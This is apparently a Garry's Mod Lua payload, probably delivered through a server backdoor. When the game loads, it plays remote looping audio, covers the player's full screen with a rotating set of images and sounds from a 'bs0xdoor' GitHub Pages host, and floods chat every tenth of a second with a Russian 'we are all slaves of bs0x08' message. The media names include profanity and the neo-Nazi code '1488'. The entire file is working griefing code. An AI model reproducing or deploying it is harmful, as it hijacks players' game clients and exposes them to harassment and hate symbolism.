local mediaSequence = {
    {
        image = "https://bs0xdoor.github.io/payload/tenisi.png",
        sound = "https://bs0xdoor.github.io/payload/daetoneyapenisi.mp3",
        duration = 10,
        mainsound = true
    },
    {
        image = "https://bs0xdoor.github.io/payload/miss.png",
        sound = "https://bs0xdoor.github.io/payload/1488.mp3",
        duration = 10,
        mainsound = true
    },
    {
        image = "https://bs0xdoor.github.io/payload/gptmarb.png",
        sound = "https://bs0xdoor.github.io/payload/shaszarejunaxyu.mp3",
        duration = 5,
        mainsound = true
    },
    {
        image = "https://bs0xdoor.github.io/payload/pavetr.png",
        sound = "https://bs0xdoor.github.io/payload/materi1.mp3",
        duration = 32,
        mainsound = true
    },
    {
        image = "https://bs0xdoor.github.io/payload/croci.png",
        sound = "https://bs0xdoor.github.io/payload/krokodildi.mp3",
        duration = 17,
        mainsound = true
    },
    {
        image = "https://bs0xdoor.github.io/payload/moyumat.png",
        sound = "https://bs0xdoor.github.io/payload/qnoy.mp3",
        duration = 15,
        mainsound = true
    }
}

local currentIndex = 1
local imagePanel = nil
local soundChannel = nil
local mainSoundChannel = nil
local mediaTimer = nil
local mainSoundURL = "https://bs0xdoor.github.io/payload/neqrivse.mp3"


local function PlayLoopedMainSound()
    if IsValid(mainSoundChannel) then
        mainSoundChannel:Stop()
        mainSoundChannel = nil
    end

    sound.PlayURL(mainSoundURL, "noblock", function(channel, errorID, errorName)
        if IsValid(channel) then
            mainSoundChannel = channel
            channel:Play()
            channel:SetVolume(0.5)
            channel:EnableLooping(true) 
            
            channel:SetOnEnd(function()
                timer.Simple(0.1, function()
                    if IsValid(mainSoundChannel) then
                        mainSoundChannel:Play()
                    end
                end)
            end)
        else
            print("Ошибка загрузки фоновой музыки:", errorID, errorName)
        end
    end)
end

local function CreateImagePanel(url)
    if IsValid(imagePanel) then
        imagePanel:Remove()
    end

    imagePanel = vgui.Create("DHTML")
    imagePanel:SetSize(ScrW(), ScrH())
    imagePanel:SetPos(0, 0)
    imagePanel:SetHTML([[<html><body style="margin:0;padding:0;overflow:hidden;"><img src="]] .. url .. [[" style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);max-width:100%;max-height:100%;"></body></html>]])
    imagePanel:SetMouseInputEnabled(false)
    imagePanel:SetKeyboardInputEnabled(false)
end

local function PlaySound(url)
    if soundChannel then
        soundChannel:Stop()
        soundChannel = nil
    end

    sound.PlayURL(url, "", function(channel)
        if IsValid(channel) then
            soundChannel = channel
            channel:Play()
        end
    end)
end

local function HandleMainSound(media)
    if not IsValid(mainSoundChannel) then return end
    
    if media.mainsound == false then
        mainSoundChannel:SetVolume(0)  
    else
        mainSoundChannel:SetVolume(1)  
    end
end

local function HideMedia()
    if IsValid(imagePanel) then
        imagePanel:Remove()
        imagePanel = nil
    end

    if soundChannel then
        soundChannel:Stop()
        soundChannel = nil
    end
    
    if IsValid(mainSoundChannel) then
        mainSoundChannel:SetVolume(1)
    end
end

local function ShowNextMedia()
    if currentIndex > #mediaSequence then
        currentIndex = 1
    end

    local media = mediaSequence[currentIndex]
    CreateImagePanel(media.image)
    PlaySound(media.sound)
    HandleMainSound(media)

    if IsValid(mediaTimer) then
        mediaTimer:Remove()
    end

    mediaTimer = timer.Create("MediaTimer", media.duration, 1, function()
        HideMedia()
        currentIndex = currentIndex + 1
        ShowNextMedia()
    end)
end

local function penis()
timer.Create('penis', 0.1, 0, function()
local plyayere = LocalPlayer()
plyayere:ChatPrint( "МЫ ВСЕ РАБЫ BS0X08!!!" )
plyayere:ChatPrint( "By bs0x08" )
print('H1GHCORE PIDOR')
end)
end

local function InitializeMediaSystem()
    PlayLoopedMainSound()
    
    timer.Create("InitialTimer", 5, 1, function()
        ShowNextMedia()
        penis()
    end)
end

hook.Add("InitPostEntity", "InitializeMediaSystem", InitializeMediaSystem)
hook.Add("OnScreenSizeChanged", "ResizeImagePanel", function()
    if IsValid(imagePanel) then
        imagePanel:SetSize(ScrW(), ScrH())
    end
end)